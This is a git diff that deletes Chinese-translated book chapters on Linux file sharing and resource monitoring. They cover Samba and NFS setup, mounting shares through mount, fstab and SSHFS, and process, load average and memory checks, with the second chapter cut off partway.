-如前所述,只有更昂贵的 Windows 版本才支持 NFS。 如果你有一个大型的 Windows 机器网络,如果你不需要的话,把它们全部升级到更高的版本将是相当昂贵的。 这是 Samba 最擅长的领域。 Windows、Linux 和 Mac 计算机可以访问通过 Samba 共享的目录。 在 Windows 的情况下,即使是较低端的版本也可以访问 Samba 共享(如 Windows 7 家庭专业版或 Windows 10 核心版),而无需任何新的安装或购买。 - -Samba 的缺点是它不能像 NFS 那样处理权限,因此您需要以特殊的方式管理配置文件以尊重权限。 然而,这并不是万无一失的。 例如,Windows 和 Linux/UNIX 系统采用非常不同的权限方案,因此它们在本质上是不兼容的。 在 Samba 的配置文件中,您可以告诉它对新创建的文件使用特定的用户和组权限,甚至可以强制 Samba 将所有权视为与文件实际存储的内容以外的内容。 因此,当然有一些方法可以使 Samba 更好地处理权限,但在本质上不如 Linux 或 UNIX 本机解决方案(如 NFS)好。 - -至于 Samba 服务器如何适应您的网络,基本的经验法则是,只要不需要跨平台兼容性,就在混合环境和 NFS 中使用 Samba。 - -## 设置 Samba 服务器 - -在本节中,我们将继续设置 Samba 服务器。 在下一节中,我将解释如何挂载 Samba 共享。 首先,我们需要安装 Samba。 在 CentOS 和 Debian 系统上,这个包被简单地称为`samba`。 所以,通过`apt-get`或`yum`安装那个包,你应该有你需要的一切: - -```sh -# yum install samba - -``` - -使用`apt-get`命令如下: - -```sh -# apt-get install samba - -``` - -在 Debian 系统上,Samba 一安装就启动。 事实上,它也是启用的,所以每次打开系统时它都会自动启动。 然而在 CentOS 的情况下,它在安装后既没有启用也没有启动。 如果你选择 CentOS 作为你的 Samba 服务器,你需要启用和启动守护进程: - -```sh -# systemctl start smb -# systemctl enable smb - -``` - -现在,Samba 已经安装、启用,但还没有配置。 要配置 Samba,我们需要编辑`/etc/samba/smb.conf`文件。 默认情况下,在安装所需的包时立即创建该文件。 但是,默认文件的存在主要是为了向您提供配置示例。 它非常庞大,但是您可能想看一看它,看看以后可能会用到的一些语法示例。 您可以在文本编辑器中打开该文件,或者简单地`cat`在终端上查看该文件: - -```sh -cat /etc/samba/smb.conf - -``` - -为了简化,我建议您从一个新的文件开始。 虽然配置示例确实很好,但出于生产目的,我们可能应该使用一个更短的文件。 由于原始文件以后可能会有用,创建一个备份: - -```sh -# mv /etc/samba/smb.conf /etc/samba/smb.conf.default - -``` - -接下来,在文本编辑器中简单地打开`smb.conf`文件,这将创建一个新的/空文件,因为我们将原始文件移动到备份文件: - -```sh -# vim /etc/samba/smb.conf - -``` - -我们可以从以下基本配置开始: - -```sh -[global] -server string = File Server -workgroup = HOME-NET -security = user -map to guest = Bad User -name resolve order = bcast hosts wins -include = /etc/samba/smbshared.conf - -``` - -让我们逐行通过这个配置文件。 首先,我们从`[global]`部分开始,在这里配置将对整个服务器生效的选项。 事实上,这是这个特定文件中唯一的部分。 - -接下来,我们有`server string`。 `server string`是您在 Windows 系统上浏览网络共享时看到的描述。 例如,您可能会看到一个名为`Documents`的共享,其下方的描述如下: `File Server`。 这个部分不是必需的,但是最好有它。 在商业网络中,这对于概述关于系统的注释很有用,比如它在哪里,或者它用于什么。 - -然后,设置我们的`workgroup`。 那些曾经是 Windows 系统管理员的人可能对此非常了解。 工作组充当一个名称空间,包含具有特定用途的所有系统。 在实践中,这通常是您的 LAN 的名称。 LAN 内的每台计算机都有相同的工作组名称,因此它们会显示为存在于同一网络中。 在 Windows 系统上浏览共享时,您可能会看到一个工作组列表,双击其中一个工作组,就会看到在该工作区下共享资源的系统列表。 在大多数情况下,您可能希望在每个系统上使用相同的工作组名称,除非您希望分隔资源。 要查看现有系统上的工作组名称,右键单击**我的计算机**或**这台 PC**(取决于您的版本),然后单击**属性**。 您的工作组名称应该在出现的窗口中列出。 - -![Setting up a Samba server](img/B03919_04_01.jpg) - -查看 Windows 系统的属性以收集工作组名称,在本例中为 LOCALNET - -设置`security = user`告诉 Samba 使用用户的用户名和密码进行身份验证。 如果匹配,则不会提示用户输入密码以访问资源。 - -`map to``guest = Bad User`告诉 Samba,如果提供的用户名和密码与本地用户帐户不匹配,那么将连接用户视为通过来宾帐户连接的用户。 如果您不希望发生这样的映射,请删除此部分。 - -接下来,`name resolve order = bcast hosts wins`确定名称解析的顺序。 在这里,我们首先使用广播的名称,然后是`/etc/hosts file`中的主机名映射,然后是`wins`(`wins`在很大程度上已经被 DNS 所取代,这里只包含它是为了兼容性)。 在大多数网络中,这种顺序应该没问题。 - -最后,在配置文件的末尾有`include = /etc/samba/smbshared.conf`。 基本上,这个允许我们包含另一个配置文件,就好像它是现有配置文件的一部分一样。 在本例中,我们包含了`/etc/samba/smbshared.conf`的内容,一旦 Samba 读取了这一行,它就会读取这些内容。 接下来我们将创建这个文件。 基本上,这允许我们在一个单独的配置文件中指定共享。 这不是必需的,但我认为它使事情更容易管理。 如果愿意,可以将`smbshared.conf`文件的内容包含在`smb.conf`文件中,这样所有内容都在一个文件中。 - -下面是我为这个活动创建的一个示例`smbshared.conf`。 在你的情况下,你需要做的就是确保这些值匹配你的系统和你选择共享的目录: - -```sh -[Music] -## My music collection - path = /share/music - public = yes - writable = no - -[Public] -## Public files - path = /share/public - create mask = 0664 - force create mode = 0664 - directory mask = 0777 - force directory mode = 0777 - public = yes - writable = yes - -``` - -在这里,我创建了两个共享。 每个共享以括号中的名称开头(在浏览此机器上的共享时,将在其他系统上显示该名称),然后是该共享的配置。 如您所见,我有一个名为`Music`的共享目录,另一个名为`Public`。 - -要声明到共享的路径,使用`path =`,然后使用该共享对应的目录的路径。 在我的例子中,你可以看到我共享了以下目录: - -```sh -/share/music -/share/public - -``` - -接下来,我还通过添加`public = yes`宣布该股票为公开股票。 这意味着客户机可以访问这个共享。 如果我希望客人不能访问它,我可以将其设置为`no`。 - -在我的音乐分享中,我有`writable = no`。 顾名思义,这将禁用其他计算机在该共享中更改文件的能力。 就我而言,我把我的音乐收藏分享给网络上的其他电脑,但我不想不小心删除音乐文件。 - -在我的公共股份中,我添加了几个额外的选项: - -```sh - create mask = 0664 - force create mode = 0664 - directory mask = 0777 - force directory mode = 0777 - -``` - -这些选项都对应于在该共享中创建新文件时的默认权限。 例如,如果我挂载我的公共共享,然后在那里创建一个目录,它将获得`777`的权限。 如果我创建一个文件,它的权限将是`664`。 当然,您可能不想让您的文件完全打开,因此您可以根据需要更改这些权限。 此选项确保与新创建的目录和文件的权限保持一致。 在网络中,您可能有需要访问这些文件的自动化进程在运行,并且您希望确保每次运行此类进程时都不需要手动更正权限,因此这可能是必要的。 - -现在您已经创建了自己的 Samba 配置,测试您的配置是一个好主意。 幸运的是,Samba 本身包含一个特殊命令,允许您这样做。 如果在系统上运行`testparm`,它将显示文件中可能存在的语法错误。 然后,它将显示您的配置。 继续在您的系统上运行`testparm`。 如果有任何错误,返回并确保您输入的内容没有问题。 如果一切正常进行,您应该不会看到任何错误,然后您将得到配置的摘要。 在验证了配置之后,重新启动 Samba 守护进程,使更改生效。 要做到这一点,只需在 Debian 系统上运行以下命令: - -```sh -# systemctl restart smbd - -``` - -对于 CentOS,使用如下命令: - -```sh -# systemctl restart smb - -``` - -现在,您应该能够访问 Windows 或 Linux 系统上的 Samba 共享。 在 Linux 上,大多数 GUI 文件管理器应该允许您浏览网络以获取 Samba 共享。 在 Windows 上,您应该能够打开**我的电脑**或**这台 PC**,然后单击**网络**来浏览具有活动共享的本地联网计算机。 也许一个简单的方法来访问 Windows 机器上的股票是按 Windows 键键盘上紧随其后的是【R T6】打开运行对话框,然后输入【显示】您的 Samba 服务器的名称开头两个反斜杠。 例如,要从 Windows 系统访问我的基于 debian 的文件服务器(Pluto),我将在运行对话框中输入以下内容,然后按*回车*: - -```sh -\\pluto - -``` - -我从那个系统得到了一个股份列表,如下截图所示: - -![Setting up a Samba server](img/B03919_04_02.jpg) - -从 Windows 7 PC 上查看 Samba 共享(从 Linux 系统提供) - -# 挂载网络共享 - -到目前为止,在本章中,我们已经创建了 NFS 和 Samba 共享。 但实际上我们还没有获得任何股份。 在本节中,我们将处理这个问题。 - -在 Linux 中,`mount`命令可以用于挂载几乎所有东西。 无论您连接外部硬盘驱动器、插入 CD 或希望挂载网络共享,`mount`命令都可以充当瑞士军刀,允许您将这些资源挂载到您的系统中。 `mount`命令允许您挂载资源并将其附加到系统上的本地目录。 在大多数情况下,`mount`在使用图形桌面环境的大多数 Linux 系统上自动运行。 如果你插入了闪存盘或某种光学介质,你可能见过这种情况。 在网络共享中,它们不会自动挂载,尽管可以将它们配置为自动挂载。 - -如果您正在使用安装了桌面环境的系统,也许挂载网络共享最简单的方法是使用 GUI 文件管理器。 如果您单击一个文件共享,它可能会被挂载,并且您将被允许访问它,前提是您在系统上具有必要的权限。 **Nautilus**,**Caja**,**Pcmanfm**,以及**Dolphin**都是流行的 Linux 文件管理器。 - -![Mounting network shares](img/B03919_04_03.jpg) - -pcmanfm 文件管理器,查看来自 Samba 文件服务器的共享 - -`mount`命令在没有图形化环境的系统上最有用,或者当您希望将资源挂载在默认环境之外的某个地方时,命令最有用。 要使用`mount`命令,给它提供您想要挂载的资源类型,它可以在哪里找到该资源,然后是用于挂载的本地目录。 例如,要挂载一个 NFS 导出,我们可以这样做: - -```sh -# mount -t nfs 10.10.10.101:/exports/docs /mnt/docs - -``` - -或者,如前所述,如果我们设置 NFS 根目录,则使用以下命令: - -```sh -# mount -t nfs 10.10.10.101:/docs /mnt/docs - -``` - -在该示例中,我们告诉挂载命令,我们要挂载一个 NFS 导出,方法是为它提供`-t`参数,然后为类型提供`nfs`。 在我的实验室中,这个共享存在于一台 IP 地址为`10.10.10.101`的计算机上,接下来我用冒号和我正在访问的系统上的目录提供它。 在本例中,正在访问`10.10.10.101`上的`/exports/docs`。 最后,我有一个本地目录`/mnt/docs`,它存在于我的本地计算机上,我希望将这个共享挂载在这里。 在执行这个命令之后,每次我在本地计算机上访问`/mnt/docs`时,实际上就是在我的文件服务器上访问`/exports/docs`。 在使用这个导出之后,我简单地卸载它: - -```sh -# umount /mnt/docs - -``` - -在 Linux 机器上安装 Samba 共享有点复杂。 我将包含一个示例命令,它可以用于从同一服务器挂载 Samba 共享。 但是在讨论这个问题之前,您首先需要在系统上安装必要的包,以便能够挂载 Samba 共享。 在 CentOS 上安装`samba-client`。 在 Debian 上,这个包是`smbclient`。 安装所需的包后,您应该能够通过执行以下命令挂载 Samba 共享: - -```sh -# mount -t cifs //10.10.10.101/Videos -o username=jay /mnt/samba/videos - -``` - -如果您需要通过密码访问资源,使用以下命令: - -```sh -# mount -t cifs //10.10.10.101/Videos -o username=jay, password=mypassword /mnt/samba/videos - -``` - -如您所见,同样的基本思想也用于装入 Samba 共享。 但是在本例中,我们以不同的方式格式化目标路径,我们使用`cifs`作为文件系统类型,并且还包含用户名(和密码,如果您的 Samba 服务器需要的话)。 与前面的示例一样,我们在命令结束时使用一个要将挂载附加到的本地目录。 在本例中,我为这个共享创建了一个`/mnt/samba/Videos`目录。 - -# 通过 fstab 和 systemd 自动挂载网络共享 - -与通过`mount`命令挂载网络共享一样方便的,您可能不希望在每次要使用共享时手动挂载它。 在具有中央文件服务器的网络中,将工作站配置为自动挂载网络共享是有意义的,这样每次引导系统时,共享都会自动挂载并准备就绪。 - -自动挂载资源的尝试和测试方法是`/etc/fstab`文件。 每个 Linux 系统都有一个`/etc/fstab`文件,所以请继续查看您的文件。 默认情况下,该文件仅包含用于挂载本地资源(如硬盘上的分区)的配置。 标准的做法是向该文件添加额外的配置行,以将从其他硬盘驱动器到网络共享的任何内容挂载到网络共享。 - -### 注意事项 - -在编辑您的`/etc/fstab`文件时要小心。 如果您不小心改变了本地硬盘的配置,那么您的系统在下次启动时将无法启动。 在编辑此文件时,请始终谨慎使用。 - -下面是一个示例`/etc/fstab`文件: - -```sh -# root filesystem -UUID=4f60d247-2a46-4e72-a28a-52e3a044cebf / ext4 errors=remount-ro 0 1 -# swap -UUID=c9149e0a-26b0-4171-a86e-a5d0ee4f87a7 none swap sw 0 0 - -``` - -在我的文件中,**通用唯一标识符**(**UUID**)引用我的本地硬盘分区。 这些在每个系统上都是不同的。 接下来,列出每个装入点。 `/`符号表示文件系统的根,交换分区不需要挂载点,因此将其设置为`none`。 - -在`/etc/fstab`文件的末尾,我们可以添加在每次启动系统时都可用的附加挂载。 如果我们想添加一个 NFS 共享,我们可以执行以下操作: - -```sh -10.10.10.101:/share/music/mnt/music nfs users,rw,auto,nolock,x-systemd.automount,x-systemd.device-timeout=10 0 0 - -``` - -在第一节中,我们声明服务器的 IP 地址,后跟冒号和导出目录的路径。 在本例中,我在`10.10.10.101`上访问`/share/music`。 下一节是挂载点,因此我将此导出连接到本地系统上的`/home/jay/music`。 接下来,我们将访问的共享指定为`nfs`。 没有惊喜。 最后,我们在配置结束时提供了一些关于如何挂载这个共享的选项。 一个简单的挂载选项是`rw`,它代表读写。 如果我们想防止其中包含的文件被更改,我们可以在这里使用`ro`。 - -上一个示例中的选项是`x-systemd.automount`。 基本上,这告诉 systemd (Debian 和 CentOS 的默认`init`系统,分别从版本 8 和 7 开始)如果可能的话,我们希望保持这个挂载。 使用此选项,如果由于某些原因断开连接,systemd 将尽力重新挂载该共享。 此外,还可以添加`x-systemd.device-timeout=10`,它告诉系统,如果共享在网络上不可用,则等待时间不要超过 10 秒。 我们以`0 0`结束这一行,因为这不是本地文件系统,在引导时不需要进行一致性检查。 - -### 注意事项 - -如果您不使用带有 systemd 的发行版(例如 CentOS 7 和 Debian 8),则不要包含`x-systemd`选项,因为使用不同`init`系统的发行版无法理解这些选项。 - -同样,还可以将 Samba 共享添加到您的`/etc/fstab`文件中。 这里有一个例子: - -```sh -//10.10.10.9/Videos /samba cifs username=jay 0 0 - -``` - -在我们继续之前,关于`/etc/fstab`文件的最后一个注意事项。 本节中的示例都假设您希望网络共享自动可用。 然而,情况并非总是如此。 如果您将`noauto`挂载选项添加到`fstab`的配置行中,共享将不会在引导时自动挂载。 将`noauto`添加到我们的 Samba 示例中,`fstab`行将被更改如下: - -```sh -//10.10.10.101/Videos /samba cifs noauto,username=jay 0 0 - -``` - -一个 NFS 的例子看起来像这样: - -```sh -10.10.10.101:/share/music -/mnt/music nfs users,rw,noauto,nolock,x-systemd.device-timeout=10 0 0 - -``` - -在一些情况下,这可能是有用的。 一个例子可能是使用笔记本电脑,在那里您不会总是连接到同一个网络。 如果是这种情况,您不会希望您的机器尝试自动挂载一些东西,除非您实际连接到该网络。 通过添加`noauto`作为挂载选项,您可以在任何需要的时候手动挂载资源,而不需要记住冗长的`mount`命令。 例如,要挂载包含在`fstab`文件中的 NFS 导出,您需要执行以下操作: - -```sh -# mount /mnt/music - -``` - -相比之下,这比每次挂载导出时输入以下内容要容易得多: - -```sh -# mount -t nfs 10.10.10.101:/exports/music/ mnt/music - -``` - -由于我们将导出添加到`fstab`文件中,所以当我们键入一个简化的`mount`命令时,`mount`命令会查找相关的行,就像我们刚才所做的那样。 如果它找到您试图访问的挂载点的配置,它将允许您访问它,而不需要输入整个命令。 即使您不想自动访问远程共享,将它们添加到您的`fstab`文件中仍然是非常方便的。 - -# 使用 SSHFS 创建网络文件系统 - -在前一章中,我们讨论了 SSH,是大多数 Linux 管理员每天使用多次的关键实用程序。 但是,虽然它非常适合访问网络上的其他 Linux 系统,但如果远程文件系统是在本地挂载的,它也允许您以的形式访问它们。 这被称为**SSHFS**。 SSHFS 的一个优点是不需要事先澄清任何导出的目录。 如果您能够连接到远程 Linux 服务器并通过 SSH 访问一个目录,那么您就能够自动地在本地挂载它,就好像它是一个网络共享一样。 - -在 Debian 系统上,您可以简单地安装`sshfs`包。 在 CentOS 上,`sshfs`包默认是不可用的。 在您可以在 CentOS 系统上安装`sshfs`之前,您需要添加一个全新的存储库,称为**Enterprise Linux Extra Packages**(**EPEL**)。 要做到这一点,只需安装`epel-release`包: - -```sh -# yum install epel-release - -``` - -安装`epel`存储库后,您应该能够安装`sshfs`: - -```sh -# yum install sshfs - -``` - -一旦安装,你就可以很容易地在你的本地文件系统上挂载目录: - -```sh -sshfs jay@10.10.10.101:/home/jay/docs /home/jay/mnt/docs - -``` - -为了工作,您的用户帐户不仅必须能够访问远程系统,还必须能够访问本地挂载点。 一旦启动该命令,您将看到与通过 SSH 连接到服务器时通常看到的提示类似的提示。 基本上,这就是你正在做的。 不同之处在于,连接在后台保持打开状态,维护远程目录和本地目录之间的关系。 - -当您需要在远程文件系统上挂载一些东西,但您可能不需要再次或经常访问它时,使用`sshfs`是一个很好的主意。 但与 NFS 和 Samba 共享类似,您实际上可以使用`/etc/fstab`通过 SSHFS 挂载资源。 考虑下面的`fstab`示例: - -```sh -jay@10.10.10.101:/home/jay/docs /home/jay/mnt/docs fuse.sshfs defaults,noauto,users,_netdev 0 0 - -``` - -正如前面所做的,我们设置了`noauto`,这样我们就可以通过简单地输入: - -```sh -mount /home/jay/docs - -``` - -# 总结 - -在这个内容丰富的章节中,我们讨论了在基于 linux 的网络中访问和共享文件的几种方法。 我们从讨论 NFS 开始,它是在 Linux 和 UNIX 网络中共享文件的一种古老但可靠的方法。 我们还介绍了 Samba,这是一种在混合操作系统环境中共享资源的方法。 我们还讨论了如何手动和自动挂载这些共享。 我们用 SSHFS 结束了我们的讨论,SSHFS 是 SSH 的一个非常方便(但还不出名)的特性,它允许我们按需挂载来自其他系统的目录。 - -当然,由于依赖于网络中的网络资源,保持每个节点以最佳状态运行是非常重要的。 在下一章中,我们将通过监控系统资源和保持节点正常运行。 \ No newline at end of file diff --git a/docs/master-linux-net-admin/05.md b/docs/master-linux-net-admin/05.md deleted file mode 100644 index 26f7920d..00000000 --- a/docs/master-linux-net-admin/05.md +++ /dev/null @@ -1,484 +0,0 @@ -# 五、监控系统资源 - -随着组织需求的扩大,你的人际网络也会随着增长而变化。 跟踪每个节点上的资源对于稳定性非常重要。 虽然 Linux 可以很好地处理资源,但它只能做这么多。 cpu 可能会被过度利用,磁盘可能会被填满,过多的输入/输出甚至会导致最强的服务器停止运行。 关注这些内容非常重要,特别是当系统用于生产并被其他系统依赖时。 - -在这一章中,我们将研究检查 Linux 系统上运行的内容并管理其资源的方法,以帮助确保节点是网络上的良好公民。 - -在本章中,我们将介绍: - -* 检查和管理过程 -* 理解平均负载 -* 检查可用内存 -* 使用基于 shell 的资源监视器 -* 检查磁盘空间 -* 扫描使用存储 -* 介绍了日志 -* 使用 logrotate 维护日志大小 -* 了解 systemd init 系统 -* 理解 systemd 日志 - -# 检查和管理进程 - -在一个典型的故障排除场景中,您可能有一个行为不当的进程,或者需要对其执行一个操作。 如果您正在为工作站使用图形化桌面环境,您可能会使用 GNOME System Monitor 之类的工具来调查系统上运行的进程,然后杀死问题子进程。 但是,在大多数情况下,您可能没有桌面环境(至少在服务器上没有),因此您将使用诸如`kill`这样的命令来摆脱任何行为不端的进程。 但是在杀死一个进程之前,您需要知道它的进程标识符(**PID**)。 一个在所有 Linux 系统上都可以查找进程 PID 的方法是打开一个终端,输入`ps`命令。 下面是它的用法示例: - -```sh -ps aux - -``` - -除了`ps`之外,如果您碰巧已经知道流程的名称,则通常使用。 在这种情况下,您可以将`ps aux`的输出管道到`grep`中,然后搜索进程。 - -```sh -ps aux |grep httpd - -``` - -`ps`命令将给您一个正在运行的进程列表。 如果使用`grep`,输出将缩小到与搜索项匹配的进程列表。 您将看到位于第二列中结果中出现的每个进程的`PID`。 在第三列中,您将看到进程占用了多少 CPU,后面的一列是内存使用情况。 - -![Inspecting and managing processes](img/B03919_05_01.jpg) - -ps 辅助程序在 Debian 系统上的输出 - -`USER`、`STAT`、`START`、`TIME`和`COMMAND`是我们可以从输出中看到的附加列。 虽然`USER`是不言自明的,下面是对其他列标题的简短描述: - -* `STAT`:该字段标识程序的状态,用一个或两个字符的代码表示程序当前的状态。 例如,`S`表示进程正在等待某个事件完成,而`D`是不可中断的睡眠状态,通常与 IO 相关。 要查看完整的列表,请查看`ps`上的手册页面。 -* `START`:这个字段表示进程开始运行的时间。 -* `TIME`:表示进程占用 CPU 的总时间。 每当一个进程到达 CPU 并需要完成工作时,就会根据 CPU 记录时间。 -* `COMMAND`:显示当前进程运行的命令。 - -现在,您已经知道了如何查找进程的 PID,下面来看一下`kill`命令,在需要关闭无法通过正常方式关闭的程序时,该命令非常有用。 例如,如果你正在运行一个进程 ID 为 25787 的脚本,你可以通过执行以下命令来终止它: - -```sh -# kill 25787 - -``` - -`kill`命令通过向 PID 发送一个特定的信号来工作。 例如,信号 15 被称为,即**SIGTERM**。 如果对没有任何参数的进程执行`kill`(就像我们在上一个示例中所做的那样),默认情况下将发送信号 15,它基本上是礼貌地请求进程关闭。 您可以向进程发送 18 种不同的信号,您可以在手册页面中了解这些信号。 为了便于我们在这里讨论,`SIGINT`、`SIGTERM`和`SIGKILL`可能是您最常用的。 通过执行以下命令,可以查看这些信号的列表以及它们的含义: - -```sh -man 7 signal - -``` - -要发送特定的信号,请在`kill`命令后键入连字符,然后是要发送的信号。 由于`kill`本身发送信号 15,你可以通过执行下面的命令来做同样的事情: - -```sh -# kill -15 25787 - -``` - -要发送不同的信号,例如 2(**SIGINT**),输入以下命令: - -```sh -# kill -2 25787 - -``` - -如果你*非常*绝望,你可以向进程发送信号 9(**SIGKILL**): - -```sh -# kill -9 25787 - -``` - -然而,只有当您已经用尽了所有其他选项,并且无论您如何努力都无法使进程关闭时,才应该使用`SIGKILL`。 `SIGKILL`立即关闭过程,但不幸的是,它没有给它一个机会来清理自己之后。 这可能会导致不干净的临时文件和打开的套接字连接留在您的系统上。 更糟糕的是,它实际上会破坏数据库和配置。 因此,我再怎么强调这一点也不为过,如果您不能让进程优雅地关闭,那么`kill -9`绝对应该是您尝试的最后一件事。 尝试您所知道的所有方法,首先优雅地关闭一个进程,然后在考虑使用它之前进行多次尝试。 - -另一个可以用来终止进程的命令是`killall`命令。 `killall`命令允许您终止系统上匹配特定名称的所有进程。 例如,假设您打开了多个 Firefox 窗口,但程序停止响应。 要立即杀死所有运行在您系统上的 Firefox 实例,只需执行以下命令: - -```sh -killall firefox - -``` - -就像这样,你系统上的所有 Firefox 窗口都会立即消失。 可以使用`killall`命令关闭所有共享相同名称的多个进程,并且在运行单个无响应程序或脚本的多个实例的服务器上非常有用。 - -这几乎就是使用`kill`和`killall`命令的全部内容。 当然,还有更多的选项,手册页将提供更多的信息。 但简而言之,这些就是你将实际使用的变体。 在理想的情况下,您应该永远不需要使用`kill`,并且服务器上运行的所有进程都将毫无疑问地服从您。 不幸的是,我们并不是生活在一个完美的世界中,您可能会比您希望的更频繁地使用这些命令。 - -# 理解平均负载 - -对于一个 Linux 管理员来说,**平均负载**是您将要学习的最重要的概念之一。 虽然您可能已经知道这个数字表示系统正在经历的负载,但它也表示趋势性能。 使用这个数字,您将能够确定您的系统是不堪重负,还是正在恢复和平静。 实际上,平均负载由三个数字组成,每个数字代表系统在特定时间范围内的平均负载。 第一个数字代表一分钟,第二个代表五分钟,第三个代表 15 分钟。 有许多方法可以查看平均负载,并且它也将显示在大多数 Linux 可用的系统监视器中。 在快照中查看平均负载的一种方法是执行以下命令: - -```sh -cat /proc/loadavg - -``` - -![Understanding load average](img/B03919_05_02.jpg) - -查看平均负载 - -一个更简单的技巧是使用`uptime`命令。 虽然`uptime`命令的主要目的是查看系统运行了多长时间,但它也显示了系统的平均负载。 - -![Understanding load average](img/B03919_05_03.jpg) - -uptime 命令的输出信息 - -那么,如何正确地解释这些信息呢? 通过本节中显示的 uptime 命令的屏幕截图,我们可以看到以下数字: - -```sh -0.63 0.72 0.71 - -``` - -如前所述,前三个数字分别表示系统在 1、5 和 15 分钟期间的负载。 所引用的负载表示在每个时间框架中等待 CPU 或当前使用 CPU 的进程数量。 在本例中使用的系统上,我们可以看到它的负载相对较低。 我们还可以看到平均负载的趋势。 在示例系统上,负载呈上升趋势,但只上升了一点。 - -一般来说,平均负载越低越好。 但情况并非总是如此; 较低的数字也可能令人不安。 例如,如果您有一个服务器,它应该做大量的工作,但它的平均负载下降到小于 1,这可能是一个原因。 如果负载很低,那么服务器显然不繁忙。 这可能表示一个应该正在运行的进程失败了。 例如,如果您有一个 MySQL 服务器,通常一次查看数百个查询,那么看到服务器突然感到无聊肯定是很奇怪的。 另一方面,平均负载为数百的服务器将如此繁忙,以至于它甚至不可能为您处理登录请求,甚至不可能访问系统! - -让我们以为例,看看另一个平均负载。 这是我帮助管理的网络上一个比较繁忙的系统: - -```sh -9.75 8.96 5.94 - -``` - -在这里,我们可以看到这个系统上的负载比前面的示例高得多。 这也许是我想要调查的。 但关于系统平均负载的一个令人困惑的事情是,这个数字本身并不足以引起警报。 如果这个系统有 10 个核,我就不会这么担心了。 尽管平均负载超过 9,在这种情况下仍有大量的 CPU 来处理工作负载。 但是,我得到输出的系统只有四个核心,所以这是引起警报的原因。 这意味着在这三个时间窗口中,等待 CPU 时间的进程比系统内核中实际拥有的进程还要多。 那不是很好。 但幸运的是,我可以看到系统正在恢复,因为负载正在下降。 在这种情况下,我不会恐慌,但我肯定会继续关注它,以确保它继续恢复。 我可能还会调查系统找出是什么原因导致负荷飙升到如此之高。 也许服务器刚刚完成了一项非常大的工作,但它值得研究。 - -一般的经验法则是,在系统处于正常的预期负载时记录系统的基线是一个好主意。 您的网络上的每个系统都有一个指定的用途,并且每个系统都有一定的负载,您可以合理地预期您的系统在任何时候都要面对。 如果系统平均负载大大低于基线,或者上升到高于基线的水平,那么您将需要查看并找出发生了什么。 如果负载达到的进程数量超过了需要处理的内核数量,那么就会引起警报。 - -# 检查可用内存 - -Linux 系统可以很好地处理内存,但是如果进程行为不当或者没有分配足够的内存,事情总是有可能失控。 在系统开始执行缓慢的情况下,检查可用内存可能是您首先要考虑的事情之一。 为此,我们使用`free`命令。 为了使输出更具可读性,您可以添加`-m`选项,该选项以兆字节为单位显示内存使用情况,这可以使输出更易于阅读。 一开始读这个输出可能会感到困惑,不过我相信在我们浏览完输出后,您会发现它很简单。 - -![Checking available memory](img/B03919_05_04.jpg) - -free 命令的输出信息 - -当运行`free`命令时,我们将看到三行六列信息。 第一行显示实际的 RAM 使用情况,第二行声明缓冲区,第三行声明交换区使用情况。 在`total`中,我们看到这个系统安装了 7923 MB RAM。 从技术上讲,这个系统有 8gb 的 RAM,不过有一些是留给内核或某种硬件的,这里可能没有显示。 在下一篇专栏文章(`used`)中,我们将看到系统的 RAM 消耗了多少,接着是`free`,它将显示系统的 RAM 有多少未使用。 在前面的示例中,似乎我们的 8gb 中只有 927 MB 空闲,但这并不完全正确。 那么,究竟该如何解释到底有多少内存是空闲的呢? - -首先,上的`used`第一行对应实际使用的内存数量,包括缓存的内存。 本质上,Linux 中的内存管理声明了所谓的**磁盘缓存**,这是为尚未写入磁盘的数据预留的一块内存。 您可以在`free -m`命令的输出中看到这一点; 是在`cached`下方最右边的数字。 这个内存并不一定被进程使用; 它的声明是为了让您的系统运行得更快。 如果一个进程启动了,并且它需要比`free`下第一行显示的更多的 RAM, Linux 内核会根据需要将磁盘缓存中的内存让给其他进程。 - -磁盘缓存有助于提高性能。 当你从磁盘中读取某个内容时,它被存储在磁盘缓存中,然后每次都从那里读取,而不是从磁盘中读取。 例如,假设您每天要查看几次保存在`/home`目录中的文本文件。 第一次读的时候,你是从磁盘上读的。 从这一点开始,它就被存储在磁盘缓存中,每次您希望从这一点继续读取文件时,就从那里访问它。 由于 RAM 比磁盘快,这个文件将每次额外打开一次,因为它只需要从磁盘读取一次,然后继续从磁盘缓存读取。 - -存储在磁盘缓存中的信息会随着时间的推移而老化。 当磁盘缓存被填满时,存储在那里的最古老的信息会减少,为其他东西腾出空间。 此外,当进程需要内存时,可以随时从缓存中收回内存。 这就是为什么即使看起来缓存有时会占用过多的 RAM,但这并不是一个大问题——应用在需要时从来不会阻止访问这些内存。 - -回到我们的示例,我们在确定有多少内存可用时想要查看的数字是第二行第二列**中显示的数量。 在本例中,3736 MB 被认为是空闲的。 对于这个特定的系统来说,这是足够的空闲内存。 您应该担心这个数字何时减少,交换开始增加来补偿。 只要您的系统有足够的 RAM 用于指定的用途,swap 就应该很少使用。 少量几乎总是会被使用,但当大量被使用时,这是一个问题。 当您的系统确实开始耗尽内存时,它将开始使用您的交换分区。 因为你的硬盘比你的 RAM 慢很多倍,你不希望这样。 如果发现交换空间被滥用,应该运行某种类型的资源监视器(我们在本章中讨论了其中一些),以确定是什么在使用交换空间。** - - **为了确保我们对`free`命令的输出有一个全面的理解,让我们从第一行开始研究它包含的所有部分。 我们已经讨论了`total`,它是您的系统已经物理安装的内存总量(减去您的内核或硬件所保留的内存)。 接下来的第一行是`used`,它指的是正在被任何东西使用的内存量,包括缓存。 `free`列正好相反,它指的是没有被任何东西使用的内存。 - -第一行的最后两个项目是`buffers`和`cache`。 虽然这两个部分没有被任何进程使用,但内核使用它们缓存数据以实现性能优化。 但是,如果一个进程需要更多的内存,那么可以使用这两个数字。 我们已经讨论了磁盘缓存,它是最后一个数字。 `buffers`指的是尚未写入磁盘的数据。 Linux 将以不同的时间间隔运行`sync`将这些信息写入磁盘。 如果愿意,您甚至可以自己运行`sync`命令,尽管这很少是必要的。 缓冲区的概念也是一个关键指标,说明为什么您不想在不卸载之前就从计算机上突然删除外部媒体。 如果您的系统还没有将数据同步到磁盘,那么如果您过早地弹出媒体,您可能会丢失数据。 - -在第二行,我们有`-/+ buffers cache`(在上面的示例中,它分别是 4186 MB 和 3736 MB)。 这一行的第一个数字(4186 MB)是通过从第一行使用的列(6995 MB)中减去缓冲区和缓存总数(2808 MB)得到的数字。 这给了我们总共 4187 MB,由于舍入的原因,这有点差(由于使用了`-m`标志,所以我们以 MB 为单位查看输出,所以我们差了一点),但已经足够接近了。 如果我们遵循相同的数学方法,但在`free`命令中没有`-m`标志,结果将是精确的。 第二行上的下一个数字是 3736 